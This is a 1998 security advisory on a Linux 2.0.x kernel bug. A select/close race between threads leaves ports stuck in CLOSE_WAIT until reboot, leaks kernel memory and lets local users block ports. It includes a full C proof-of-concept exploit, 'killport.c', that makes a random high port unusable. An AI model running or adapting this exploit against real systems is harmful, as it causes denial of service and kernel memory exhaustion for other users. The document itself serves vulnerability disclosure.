COMMAND
kernel
SYSTEMS AFFECTED
Linux 2.0.x
PROBLEM
David Schwartz found following. A local unprivileged account is
required to launch this attack. Multithreaded programs that work
perfectly on other operating systems may accidentally trigger this
bug on affected Linux systems. The effect of this bug is that
anyone with a local account can permanently (until a reboot) steal
any ports he or she wants (>1024, of course). It becomes
subsequently impossible to listen on this port. Oddly, the kernel
itself continues listening on the port and accepts incoming TCP
connections. Kernel memory can be leaked in any quantity desired.
Any number of ports can be made unusable.
You will know if this bug has been exploited on your system
because you will see sockets stuck permanently in the 'CLOSE_WAIT'
state. There is no way to determine which user launched the
attack once their process terminates. (uid field in the kernel
it's blank). The way you trigger the bug is to open the port, and
then while one thread selects on the port, another closes it. Due
to the select, the close fails. The close can never happen again.
The exploit code below demonstrates the bug without harming the
system too badly. Much more vicious exploits can be written
trivially.
// This program will kill a random port on a linux machine. The kernel will
// forever listen to that port and send the connections nowhere. Tested with
// Linux kernel 2.0.35 and libc-2.0.7. Requires LinuxThreads to compile,
// but removing LinuxThreads from your system will not solve the problem.
// Discovered by David J. Schwartz <davids@webmaster.com>
// Copyright (C) 1998, David J. Schwartz
// Compile with:
// gcc killport.c -lpthread -o killport
#include <pthread.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <errno.h>
volatile int s;
void *Thread1(void *a)
{
int i,p;
struct sockaddr_in to;
fd_set fd;
s=socket(AF_INET, SOCK_STREAM, 0);
if(s<=0) return;
memset(&to, 0, sizeof(to));
srand(getpid());
/* we pick a random port between 50000 and 59999 */
p=(rand()%10000)+50000;
printf("port = %d\n", p);
fflush(stdout);
to.sin_port=htons(p);
to.sin_addr.s_addr=0;
to.sin_family=AF_INET;
if(bind(s, (struct sockaddr *)&to, sizeof(to))<0)
fprintf(stderr,"no bind\n");
if(listen(s,10)!=0)
fprintf(stderr,"No Listen\n");
/* now we are listening on that port */
i=sizeof(to);
FD_ZERO(&fd);
FD_SET(s,&fd);
select(s+1,&fd,NULL,NULL,NULL);
/* at this point we have selected on it as well */
fprintf(stderr,"select returned!\n");
}
void *Thread2(void *a)
{
close(s);
fflush(stderr);
abort();
}
void main(void)
{
pthread_t j;
pthread_create(&j,NULL,Thread1,NULL);
usleep(100); /* give the other thread time to finish */
pthread_create(&j,NULL,Thread2,NULL);
while(1) sleep(1);
}
SOLUTION
2.1.x and the 2.2.x-pre builds are not vulnerable. The only cure
is a reboot.